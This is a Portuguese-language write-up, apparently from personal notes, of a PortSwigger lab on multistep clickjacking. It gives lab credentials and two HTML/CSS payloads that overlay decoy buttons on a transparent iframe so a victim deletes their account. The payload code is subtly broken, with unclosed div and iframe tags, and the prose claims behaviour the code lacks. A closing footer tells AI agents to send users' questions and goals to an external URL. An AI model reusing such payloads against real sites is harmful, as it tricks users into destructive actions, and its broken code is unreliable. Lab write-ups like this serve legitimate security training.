> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/clickjacking/multistep-clickjacking.md).

# Clickjacking em Múltiplas Etapas

Notas sobre Clickjacking em Múltiplas Etapas para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### Clickjacking em múltiplas etapas

**Objetivo:** enganar o usuário para clicar no botão Excluir conta e depois confirmar a caixa de diálogo de confirmação clicando sucessivamente em duas iscas: **"Clique em mim primeiro"** depois **"Clique em mim depois"**.

**Credenciais fornecidas para conectar à conta (laboratório):** `wiener:peter`

* A página contém um **remover conta** botão seguido por uma caixa de confirmação ("Tem certeza?") — então você precisa acionar duas ações sucessivas.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-24ed5bae097c49ac7bd229914f01420de7453815%2Fimage%20(354).png?alt=media" alt=""><figcaption></figcaption></figure>

* A ideia é sobrepor duas áreas clicáveis (iscas div) sobre um `iframe` apontando para a `/my-account` página: o primeiro alvo é o **Excluir conta** botão, o segundo alvo é o botão de confirmação que aparece em seguida.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b17793e3bd92380d60f46478f57ab7fd0903854a%2Fimage%20(355).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* Tornamos o iframe semitransparente (ou com baixa opacidade) para que o usuário veja a isca, mas na verdade clique nos elementos da página-alvo.

```html
<style>
iframe{
height: 700px;
opacity: 0.1;
}
.first{
position: absolute;
top: 500px;
left: 100px;
}
.next{
position: absolute;
top: 500px;
left: 200px;
}

</style>

<div class="first" Clique em mim primeiro</div>
<div class="next" Clique em mim depois</div>
<iframe src="https://0a23007b030f8bc780c8179e00450062.web-security-academy.net/my-account"</iframe>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d1792d415ce64d5b4c9ded638182038394cf2d50%2Fimage%20(357).png?alt=media" alt="" width="429"><figcaption></figcaption></figure>

O código abaixo posiciona o iframe, coloca duas iscas e mostra a segunda isca somente após clicar na primeira. `iframe` aponta para o `/my-account` URL do laboratório

```html
<style>
iframe{
height: 700px;
opacity: 0.1;
}
.first{
position: absolute;
top: 500px;
left: 100px;
}
.next{
position: absolute;
top: 310px;
left: 110px;
}

</style>

<div class="first"> Clique em mim primeiro</div>
<div class="next">Clique em mim depois</div>
<iframe src="https://0a23007b030f8bc780c8179e00450062.web-security-academy.net/my-account"</iframe>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-26cf87f84a27b14a5369484aed7b6b62c321c19e%2Fimage%20(358).png?alt=media" alt="" width="337"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/clickjacking/multistep-clickjacking.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
